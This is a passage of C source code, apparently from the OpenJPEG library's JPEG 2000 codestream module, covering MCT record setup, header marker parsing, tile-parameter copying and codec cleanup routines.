j2k_mct_write_functions_from_float[l_mct_deco_data->m_element_type]( p_tcp->m_mct_decoding_matrix, l_mct_deco_data->m_data, l_nb_elem); l_mct_deco_data->m_data_size = l_mct_size; ++p_tcp->m_nb_mct_records; } if (p_tcp->m_nb_mct_records == p_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; p_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(p_tcp->m_mct_records, p_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = NULL; p_tcp->m_nb_max_mct_records = 0; p_tcp->m_nb_mct_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mct_records = new_mct_records; l_mct_offset_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; memset(l_mct_offset_data, 0, (p_tcp->m_nb_max_mct_records - p_tcp->m_nb_mct_records) * sizeof( opj_mct_data_t)); if (l_mct_deco_data) { l_mct_deco_data = l_mct_offset_data - 1; } } l_mct_offset_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; if (l_mct_offset_data->m_data) { opj_free(l_mct_offset_data->m_data); l_mct_offset_data->m_data = 00; } l_mct_offset_data->m_index = l_indix++; l_mct_offset_data->m_array_type = MCT_TYPE_OFFSET; l_mct_offset_data->m_element_type = MCT_TYPE_FLOAT; l_nb_elem = p_image->numcomps; l_mct_size = l_nb_elem * MCT_ELEMENT_SIZE[l_mct_offset_data->m_element_type]; l_mct_offset_data->m_data = (OPJ_BYTE*)opj_malloc(l_mct_size); if (! l_mct_offset_data->m_data) { return OPJ_FALSE; } l_data = (OPJ_FLOAT32*)opj_malloc(l_nb_elem * sizeof(OPJ_FLOAT32)); if (! l_data) { opj_free(l_mct_offset_data->m_data); l_mct_offset_data->m_data = 00; return OPJ_FALSE; } l_tccp = p_tcp->tccps; l_current_data = l_data; for (i = 0; i < l_nb_elem; ++i) { *(l_current_data++) = (OPJ_FLOAT32)(l_tccp->m_dc_level_shift); ++l_tccp; } j2k_mct_write_functions_from_float[l_mct_offset_data->m_element_type](l_data, l_mct_offset_data->m_data, l_nb_elem); opj_free(l_data); l_mct_offset_data->m_data_size = l_mct_size; ++p_tcp->m_nb_mct_records; if (p_tcp->m_nb_mcc_records == p_tcp->m_nb_max_mcc_records) { opj_simple_mcc_decorrelation_data_t *new_mcc_records; p_tcp->m_nb_max_mcc_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mcc_records = (opj_simple_mcc_decorrelation_data_t *) opj_realloc( p_tcp->m_mcc_records, p_tcp->m_nb_max_mcc_records * sizeof( opj_simple_mcc_decorrelation_data_t)); if (! new_mcc_records) { opj_free(p_tcp->m_mcc_records); p_tcp->m_mcc_records = NULL; p_tcp->m_nb_max_mcc_records = 0; p_tcp->m_nb_mcc_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mcc_records = new_mcc_records; l_mcc_data = p_tcp->m_mcc_records + p_tcp->m_nb_mcc_records; memset(l_mcc_data, 0, (p_tcp->m_nb_max_mcc_records - p_tcp->m_nb_mcc_records) * sizeof(opj_simple_mcc_decorrelation_data_t)); } l_mcc_data = p_tcp->m_mcc_records + p_tcp->m_nb_mcc_records; l_mcc_data->m_decorrelation_array = l_mct_deco_data; l_mcc_data->m_is_irreversible = 1; l_mcc_data->m_nb_comps = p_image->numcomps; l_mcc_data->m_index = l_indix++; l_mcc_data->m_offset_array = l_mct_offset_data; ++p_tcp->m_nb_mcc_records; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_build_decoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* add here initialization of cp copy paste of setup_decoder */ (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_build_encoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* add here initialization of cp copy paste of setup_encoder */ (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_encoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_is_valid = OPJ_TRUE; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); /* STATE checking */ /* make sure the state is at 0 */ l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NONE); /* POINTER validation */ /* make sure a p_j2k codec is present */ l_is_valid &= (p_j2k->m_procedure_list != 00); /* make sure a validation list is present */ l_is_valid &= (p_j2k->m_validation_list != 00); /* ISO 15444-1:2004 states between 1 & 33 (0 -> 32) */ /* 33 (32) would always fail the check below (if a cast to 64bits was done) */ /* FIXME Shall we change OPJ_J2K_MAXRLVLS to 32 ? */ if ((p_j2k->m_cp.tcps->tccps->numresolutions <= 0) || (p_j2k->m_cp.tcps->tccps->numresolutions > 32)) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } if ((p_j2k->m_cp.tdx) < (OPJ_UINT32)(1 << (p_j2k->m_cp.tcps->tccps->numresolutions - 1U))) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } if ((p_j2k->m_cp.tdy) < (OPJ_UINT32)(1 << (p_j2k->m_cp.tcps->tccps->numresolutions - 1U))) { opj_event_msg(p_manager, EVT_ERROR, "Number of resolutions is too high in comparison to the size of tiles\n"); return OPJ_FALSE; } /* PARAMETER VALIDATION */ return l_is_valid; } static OPJ_BOOL opj_j2k_decoding_validation(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BOOL l_is_valid = OPJ_TRUE; /* preconditions*/ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); /* STATE checking */ /* make sure the state is at 0 */ #ifdef TODO_MSD l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == J2K_DEC_STATE_NONE); #endif l_is_valid &= (p_j2k->m_specific_param.m_decoder.m_state == 0x0000); /* POINTER validation */ /* make sure a p_j2k codec is present */ /* make sure a procedure list is present */ l_is_valid &= (p_j2k->m_procedure_list != 00); /* make sure a validation list is present */ l_is_valid &= (p_j2k->m_validation_list != 00); /* PARAMETER VALIDATION */ return l_is_valid; } static OPJ_BOOL opj_j2k_read_header_procedure(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker; OPJ_UINT32 l_marker_size; const opj_dec_memory_marker_handler_t * l_marker_handler = 00; OPJ_BOOL l_has_siz = 0; OPJ_BOOL l_has_cod = 0; OPJ_BOOL l_has_qcd = 0; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We enter in the main header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MHSOC; /* Try to read the SOC marker, the codestream must begin with SOC marker */ if (! opj_j2k_read_soc(p_j2k, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Expected a SOC marker \n"); return OPJ_FALSE; } /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); /* Try to read until the SOT is detected */ while (l_current_marker != J2K_MS_SOT) { /* Check if the current marker ID is valid */ if (l_current_marker < 0xff00) { opj_event_msg(p_manager, EVT_ERROR, "A marker ID was expected (0xff--) instead of %.8x\n", l_current_marker); return OPJ_FALSE; } /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); /* Manage case where marker is unknown */ if (l_marker_handler->id == J2K_MS_UNK) { if (! opj_j2k_read_unk(p_j2k, p_stream, &l_current_marker, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Unknow marker have been detected and generated error.\n"); return OPJ_FALSE; } if (l_current_marker == J2K_MS_SOT) { break; /* SOT marker is detected main header is completely read */ } else { /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); } } if (l_marker_handler->id == J2K_MS_SIZ) { /* Mark required SIZ marker as found */ l_has_siz = 1; } if (l_marker_handler->id == J2K_MS_COD) { /* Mark required COD marker as found */ l_has_cod = 1; } if (l_marker_handler->id == J2K_MS_QCD) { /* Mark required QCD marker as found */ l_has_qcd = 1; } /* Check if the marker is known and if it is the right place to find it */ if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the marker size */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_marker_size, 2); if (l_marker_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Invalid marker size\n"); return OPJ_FALSE; } l_marker_size -= 2; /* Subtract the size of the marker ID already read */ /* Check if the marker size is compatible with the header data size */ if (l_marker_size > p_j2k->m_specific_param.m_decoder.m_header_data_size) { OPJ_BYTE *new_header_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size); if (! new_header_data) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = NULL; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read header\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_header_data = new_header_data; p_j2k->m_specific_param.m_decoder.m_header_data_size = l_marker_size; } /* Try to read the rest of the marker segment from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read the marker segment with the correct marker handler */ if (!(*(l_marker_handler->handler))(p_j2k, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Marker handler function failed to read the marker segment\n"); return OPJ_FALSE; } /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_mhmarker( p_j2k->cstr_index, l_marker_handler->id, (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4, l_marker_size + 4)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } if (l_has_siz == 0) { opj_event_msg(p_manager, EVT_ERROR, "required SIZ marker not found in main header\n"); return OPJ_FALSE; } if (l_has_cod == 0) { opj_event_msg(p_manager, EVT_ERROR, "required COD marker not found in main header\n"); return OPJ_FALSE; } if (l_has_qcd == 0) { opj_event_msg(p_manager, EVT_ERROR, "required QCD marker not found in main header\n"); return OPJ_FALSE; } if (! opj_j2k_merge_ppm(&(p_j2k->m_cp), p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to merge PPM data\n"); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Main header has been correctly decoded.\n"); /* Position of the last element if the main header */ p_j2k->cstr_index->main_head_end = (OPJ_UINT32) opj_stream_tell(p_stream) - 2; /* Next step: read a tile-part header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_exec(opj_j2k_t * p_j2k, opj_procedure_list_t * p_procedure_list, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL(** l_procedure)(opj_j2k_t *, opj_stream_private_t *, opj_event_mgr_t *) = 00; OPJ_BOOL l_result = OPJ_TRUE; OPJ_UINT32 l_nb_proc, i; /* preconditions*/ assert(p_procedure_list != 00); assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); l_nb_proc = opj_procedure_list_get_nb_procedures(p_procedure_list); l_procedure = (OPJ_BOOL(**)(opj_j2k_t *, opj_stream_private_t *, opj_event_mgr_t *)) opj_procedure_list_get_first_procedure(p_procedure_list); for (i = 0; i < l_nb_proc; ++i) { l_result = l_result && ((*l_procedure)(p_j2k, p_stream, p_manager)); ++l_procedure; } /* and clear the procedure list at the end.*/ opj_procedure_list_clear(p_procedure_list); return l_result; } /* FIXME DOC*/ static OPJ_BOOL opj_j2k_copy_default_tcp_and_create_tcd(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { opj_tcp_t * l_tcp = 00; opj_tcp_t * l_default_tcp = 00; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 i, j; opj_tccp_t *l_current_tccp = 00; OPJ_UINT32 l_tccp_size; OPJ_UINT32 l_mct_size; opj_image_t * l_image; OPJ_UINT32 l_mcc_records_size, l_mct_records_size; opj_mct_data_t * l_src_mct_rec, *l_dest_mct_rec; opj_simple_mcc_decorrelation_data_t * l_src_mcc_rec, *l_dest_mcc_rec; OPJ_UINT32 l_offset; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); l_image = p_j2k->m_private_image; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps; l_tccp_size = l_image->numcomps * (OPJ_UINT32)sizeof(opj_tccp_t); l_default_tcp = p_j2k->m_specific_param.m_decoder.m_default_tcp; l_mct_size = l_image->numcomps * l_image->numcomps * (OPJ_UINT32)sizeof( OPJ_FLOAT32); /* For each tile */ for (i = 0; i < l_nb_tiles; ++i) { /* keep the tile-compo coding parameters pointer of the current tile coding parameters*/ l_current_tccp = l_tcp->tccps; /*Copy default coding parameters into the current tile coding parameters*/ memcpy(l_tcp, l_default_tcp, sizeof(opj_tcp_t)); /* Initialize some values of the current tile coding parameters*/ l_tcp->cod = 0; l_tcp->ppt = 0; l_tcp->ppt_data = 00; l_tcp->m_current_tile_part_number = -1; /* Remove memory not owned by this tile in case of early error return. */ l_tcp->m_mct_decoding_matrix = 00; l_tcp->m_nb_max_mct_records = 0; l_tcp->m_mct_records = 00; l_tcp->m_nb_max_mcc_records = 0; l_tcp->m_mcc_records = 00; /* Reconnect the tile-compo coding parameters pointer to the current tile coding parameters*/ l_tcp->tccps = l_current_tccp; /* Get the mct_decoding_matrix of the dflt_tile_cp and copy them into the current tile cp*/ if (l_default_tcp->m_mct_decoding_matrix) { l_tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(l_mct_size); if (! l_tcp->m_mct_decoding_matrix) { return OPJ_FALSE; } memcpy(l_tcp->m_mct_decoding_matrix, l_default_tcp->m_mct_decoding_matrix, l_mct_size); } /* Get the mct_record of the dflt_tile_cp and copy them into the current tile cp*/ l_mct_records_size = l_default_tcp->m_nb_max_mct_records * (OPJ_UINT32)sizeof( opj_mct_data_t); l_tcp->m_mct_records = (opj_mct_data_t*)opj_malloc(l_mct_records_size); if (! l_tcp->m_mct_records) { return OPJ_FALSE; } memcpy(l_tcp->m_mct_records, l_default_tcp->m_mct_records, l_mct_records_size); /* Copy the mct record data from dflt_tile_cp to the current tile*/ l_src_mct_rec = l_default_tcp->m_mct_records; l_dest_mct_rec = l_tcp->m_mct_records; for (j = 0; j < l_default_tcp->m_nb_mct_records; ++j) { if (l_src_mct_rec->m_data) { l_dest_mct_rec->m_data = (OPJ_BYTE*) opj_malloc(l_src_mct_rec->m_data_size); if (! l_dest_mct_rec->m_data) { return OPJ_FALSE; } memcpy(l_dest_mct_rec->m_data, l_src_mct_rec->m_data, l_src_mct_rec->m_data_size); } ++l_src_mct_rec; ++l_dest_mct_rec; /* Update with each pass to free exactly what has been allocated on early return. */ l_tcp->m_nb_max_mct_records += 1; } /* Get the mcc_record of the dflt_tile_cp and copy them into the current tile cp*/ l_mcc_records_size = l_default_tcp->m_nb_max_mcc_records * (OPJ_UINT32)sizeof( opj_simple_mcc_decorrelation_data_t); l_tcp->m_mcc_records = (opj_simple_mcc_decorrelation_data_t*) opj_malloc( l_mcc_records_size); if (! l_tcp->m_mcc_records) { return OPJ_FALSE; } memcpy(l_tcp->m_mcc_records, l_default_tcp->m_mcc_records, l_mcc_records_size); l_tcp->m_nb_max_mcc_records = l_default_tcp->m_nb_max_mcc_records; /* Copy the mcc record data from dflt_tile_cp to the current tile*/ l_src_mcc_rec = l_default_tcp->m_mcc_records; l_dest_mcc_rec = l_tcp->m_mcc_records; for (j = 0; j < l_default_tcp->m_nb_max_mcc_records; ++j) { if (l_src_mcc_rec->m_decorrelation_array) { l_offset = (OPJ_UINT32)(l_src_mcc_rec->m_decorrelation_array - l_default_tcp->m_mct_records); l_dest_mcc_rec->m_decorrelation_array = l_tcp->m_mct_records + l_offset; } if (l_src_mcc_rec->m_offset_array) { l_offset = (OPJ_UINT32)(l_src_mcc_rec->m_offset_array - l_default_tcp->m_mct_records); l_dest_mcc_rec->m_offset_array = l_tcp->m_mct_records + l_offset; } ++l_src_mcc_rec; ++l_dest_mcc_rec; } /* Copy all the dflt_tile_compo_cp to the current tile cp */ memcpy(l_current_tccp, l_default_tcp->tccps, l_tccp_size); /* Move to next tile cp*/ ++l_tcp; } /* Create the current tile decoder*/ p_j2k->m_tcd = (opj_tcd_t*)opj_tcd_create(OPJ_TRUE); /* FIXME why a cast ? */ if (! p_j2k->m_tcd) { return OPJ_FALSE; } if (!opj_tcd_init(p_j2k->m_tcd, l_image, &(p_j2k->m_cp), p_j2k->m_tp)) { opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } return OPJ_TRUE; } static const opj_dec_memory_marker_handler_t * opj_j2k_get_marker_handler( OPJ_UINT32 p_id) { const opj_dec_memory_marker_handler_t *e; for (e = j2k_memory_marker_handler_tab; e->id != 0; ++e) { if (e->id == p_id) { break; /* we find a handler corresponding to the marker ID*/ } } return e; } void opj_j2k_destroy(opj_j2k_t *p_j2k) { if (p_j2k == 00) { return; } if (p_j2k->m_is_decoder) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp != 00) { opj_j2k_tcp_destroy(p_j2k->m_specific_param.m_decoder.m_default_tcp); opj_free(p_j2k->m_specific_param.m_decoder.m_default_tcp); p_j2k->m_specific_param.m_decoder.m_default_tcp = 00; } if (p_j2k->m_specific_param.m_decoder.m_header_data != 00) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = 00; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; } } else { if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = 00; } if (p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { opj_free(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer); p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = 00; p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = 00; } if (p_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = 00; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; } } opj_tcd_destroy(p_j2k->m_tcd); opj_j2k_cp_destroy(&(p_j2k->m_cp)); memset(&(p_j2k->m_cp), 0, sizeof(opj_cp_t)); opj_procedure_list_destroy(p_j2k->m_procedure_list); p_j2k->m_procedure_list = 00; opj_procedure_list_destroy(p_j2k->m_validation_list); p_j2k->m_procedure_list = 00; j2k_destroy_cstr_index(p_j2k->cstr_index); p_j2k->cstr_index = NULL; opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; opj_image_destroy(p_j2k->m_output_image); p_j2k->m_output_image = NULL; opj_thread_pool_destroy(p_j2k->m_tp); p_j2k->m_tp = NULL; opj_free(p_j2k); } void j2k_destroy_cstr_index(opj_codestream_index_t *p_cstr_ind) { if (p_cstr_ind) { if (p_cstr_ind->marker) { opj_free(p_cstr_ind->marker); p_cstr_ind->marker = NULL; } if (p_cstr_ind->tile_index) { OPJ_UINT32 it_tile = 0; for (it_tile = 0; it_tile < p_cstr_ind->nb_of_tiles; it_tile++) { if (p_cstr_ind->tile_index[it_tile].packet_index) { opj_free(p_cstr_ind->tile_index[it_tile].packet_index); p_cstr_ind->tile_index[it_tile].packet_index = NULL; } if (p_cstr_ind->tile_index[it_tile].tp_index) { opj_free(p_cstr_ind->tile_index[it_tile].tp_index); p_cstr_ind->tile_index[it_tile].tp_index = NULL; } if (p_cstr_ind->tile_index[it_tile].marker) { opj_free(p_cstr_ind->tile_index[it_tile].marker); p_cstr_ind->tile_index[it_tile].marker = NULL; } } opj_free(p_cstr_ind->tile_index); p_cstr_ind->tile_index = NULL; } opj_free(p_cstr_ind); } } static void opj_j2k_tcp_destroy(opj_tcp_t *p_tcp) { if (p_tcp == 00) { return; } if (p_tcp->ppt_markers != 00) { OPJ_UINT32 i; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { if (p_tcp->ppt_markers[i].m_data != NULL) { opj_free(p_tcp->ppt_markers[i].m_data); } } p_tcp->ppt_markers_count = 0U; opj_free(p_tcp->ppt_markers); p_tcp->ppt_markers = NULL; } if (p_tcp->ppt_buffer != 00) { opj_free(p_tcp->ppt_buffer); p_tcp->ppt_buffer = 00; } if (p_tcp->tccps != 00) { opj_free(p_tcp->tccps); p_tcp->tccps = 00; } if (p_tcp->m_mct_coding_matrix != 00) { opj_free(p_tcp->m_mct_coding_matrix); p_tcp->m_mct_coding_matrix = 00; } if (p_tcp->m_mct_decoding_matrix != 00) { opj_free(p_tcp->m_mct_decoding_matrix); p_tcp->m_mct_decoding_matrix = 00; } if (p_tcp->m_mcc_records) { opj_free(p_tcp->m_mcc_records); p_tcp->m_mcc_records = 00; p_tcp->m_nb_max_mcc_records = 0; p_tcp->m_nb_mcc_records = 0; } if (p_tcp->m_mct_records) { opj_mct_data_t * l_mct_data = p_tcp->m_mct_records; OPJ_UINT32 i; for (i = 0; i < p_tcp->m_nb_mct_records; ++i) { if (l_mct_data->m_data) { opj_free(l_mct_data->m_data); l_mct_data->m_data = 00; } ++l_mct_data; } opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = 00; } if (p_tcp->mct_norms != 00) { opj_free(p_tcp->mct_norms); p_tcp->mct_norms = 00; } opj_j2k_tcp_data_destroy(p_tcp); } static void opj_j2k_tcp_data_destroy(opj_tcp_t *p_tcp) { if (p_tcp->m_data) { opj_free(p_tcp->m_data); p_tcp->m_data = NULL; p_tcp->m_data_size = 0; } } static void opj_j2k_cp_destroy(opj_cp_t *p_cp) { OPJ_UINT32 l_nb_tiles; opj_tcp_t * l_current_tile = 00; if (p_cp == 00) { return; } if (p_cp->tcps != 00) { OPJ_UINT32 i; l_current_tile = p_cp->tcps; l_nb_tiles = p_cp->th * p_cp->tw; for (i = 0U; i < l_nb_tiles; ++i) { opj_j2k_tcp_destroy(l_current_tile); ++l_current_tile; } opj_free(p_cp->tcps); p_cp->tcps = 00; } if (p_cp->ppm_markers != 00) { OPJ_UINT32 i; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { opj_free(p_cp->ppm_markers[i].m_data); } } p_cp->ppm_markers_count = 0U; opj_free(p_cp->ppm_markers); p_cp->ppm_markers = NULL; } opj_free(p_cp->ppm_buffer); p_cp->ppm_buffer = 00; p_cp->ppm_data = NULL; /* ppm_data belongs to the allocated buffer pointed by ppm_buffer */ opj_free(p_cp->comment); p_cp->comment = 00; if (! p_cp->m_is_decoder) { opj_free(p_cp->m_specific_param.m_enc.m_matrice); p_cp->m_specific_param.m_enc.m_matrice = 00; } } static OPJ_BOOL opj_j2k_need_nb_tile_parts_correction(opj_stream_private_t *p_stream, OPJ_UINT32 tile_no, OPJ_BOOL* p_correction_needed, opj_event_mgr_t * p_manager) { OPJ_BYTE l_header_data[10]; OPJ_OFF_T l_stream_pos_backup; OPJ_UINT32 l_current_marker; OPJ_UINT32 l_marker_size; OPJ_UINT32 l_tile_no, l_tot_len, l_current_part, l_num_parts; /* initialize to no correction needed */ *p_correction_needed = OPJ_FALSE; if (!opj_stream_has_seek(p_stream)) { /* We can't do much in this case, seek is needed */ return OPJ_TRUE; } l_stream_pos_backup = opj_stream_tell(p_stream); if (l_stream_pos_backup == -1) { /* let's do nothing */ return OPJ_TRUE; } for (;;) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, l_header_data, 2, p_manager) != 2) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(l_header_data, &l_current_marker, 2); if (l_current_marker != J2K_MS_SOT) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, l_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the marker size */ opj_read_bytes(l_header_data, &l_marker_size, 2); /* Check marker size for SOT Marker */ if (l_marker_size != 10) { opj_event_msg(p_manager, EVT_ERROR, "Inconsistent marker size\n"); return OPJ_FALSE; } l_marker_size -= 2; if (opj_stream_read_data(p_stream, l_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } if (! opj_j2k_get_sot_values(l_header_data, l_marker_size, &l_tile_no, &l_tot_len, &l_current_part, &l_num_parts, p_manager)) { return OPJ_FALSE; } if (l_tile_no == tile_no) { /* we found what we were looking for */ break; } if ((l_tot_len == 0U) || (l_tot_len < 14U)) { /* last SOT until EOC or invalid Psot value */ /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } l_tot_len -= 12U; /* look for next SOT marker */ if (opj_stream_skip(p_stream, (OPJ_OFF_T)(l_tot_len), p_manager) != (OPJ_OFF_T)(l_tot_len)) { /* assume all is OK */ if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } } /* check for correction */ if (l_current_part == l_num_parts) { *p_correction_needed = OPJ_TRUE; } if (! opj_stream_seek(p_stream, l_stream_pos_backup, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_read_tile_header(opj_j2k_t * p_j2k, OPJ_UINT32 * p_tile_index, OPJ_UINT32 * p_data_size, OPJ_INT32 * p_tile_x0, OPJ_INT32 * p_tile_y0, OPJ_INT32 * p_tile_x1, OPJ_INT32 * p_tile_y1, OPJ_UINT32 * p_nb_comps, OPJ_BOOL * p_go_on, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker = J2K_MS_SOT; OPJ_UINT32 l_marker_size; const opj_dec_memory_marker_handler_t * l_marker_handler = 00; opj_tcp_t * l_tcp = NULL; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); /* Reach the End Of Codestream ?*/ if (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_EOC) { l_current_marker = J2K_MS_EOC; } /* We need to encounter a SOT marker (a new tile-part header) */ else if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_TPHSOT) { return OPJ_FALSE; } /* Read into the codestream until reach the EOC or ! can_decode ??? FIXME */ while ((!p_j2k->m_specific_param.m_decoder.m_can_decode) && (l_current_marker != J2K_MS_EOC)) { /* Try to read until the Start Of Data is detected */ while (l_current_marker != J2K_MS_SOD) { if (opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; break; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the marker size */ 